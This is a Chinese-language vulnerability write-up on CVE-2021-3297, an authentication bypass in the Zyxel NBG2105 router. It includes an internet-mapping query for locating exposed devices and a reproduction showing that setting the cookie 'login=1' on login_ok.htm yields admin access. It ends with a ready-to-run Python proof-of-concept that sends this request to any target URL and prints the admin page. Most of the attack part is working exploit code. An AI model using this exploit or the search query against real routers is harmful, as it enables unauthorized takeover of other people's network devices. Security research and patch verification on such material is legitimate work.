# Zyxel NBG2105 身份验证绕过 CVE-2021-3297

## 漏洞描述

Zyxel NBG2105 存在身份验证绕过，攻击者通过更改 login参数可用实现后台登陆

参考阅读：

- https://github.com/nieldk/vulnerabilities/blob/main/zyxel%20nbg2105/Admin%20bypass


## 漏洞影响

```
Zyxel NBG2105
```

## 网络测绘

```
app="ZyXEL-NBG2105"
```

## 漏洞复现

登录页面如下

![](images/202202140930455.png)

其中前端文件 **/js/util_gw.js** 存在前端对 Cookie login参数的校验

![](images/202202140930281.png)

可以看到检测到 Cookie中的 **login=1** 则跳转 home.html

```plain
function setCookie() //login_ok.htm use
{
	document.cookie="login=1";
	MM_goToURL('parent', 'home.htm');
}
```

请求如下则会以管理员身份跳转到 **home.htm页面**

```plain
http://xxx.xxx.xxx.xxx/login_ok.htm

Cookie: login=1;
```

![](images/202202140931038.png)

## 漏洞POC

```
# python3
import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning


def poc(url):
    exp = url + "/login_ok.htm"

    header = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "cookie":"login=1",
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=exp, headers=header, verify=False,timeout=10)
        #print(response.text)
        if response.status_code == 200 and "GMT" in response.text:
            print(exp + " 存在Zyxel NBG2105 身份验证绕过 CVE-2021-3297漏洞！！！")
            print("数据信息如下：")
            print(response.text)
        else:
            print(exp + " 不存在Zyxel NBG2105 身份验证绕过 CVE-2021-3297漏洞！！！")
    except Exception as e:
        print(exp + "请求失败！！")


def main():
    url = str(input("请输入目标url："))
    poc(url)


if __name__ == "__main__":
    main()
```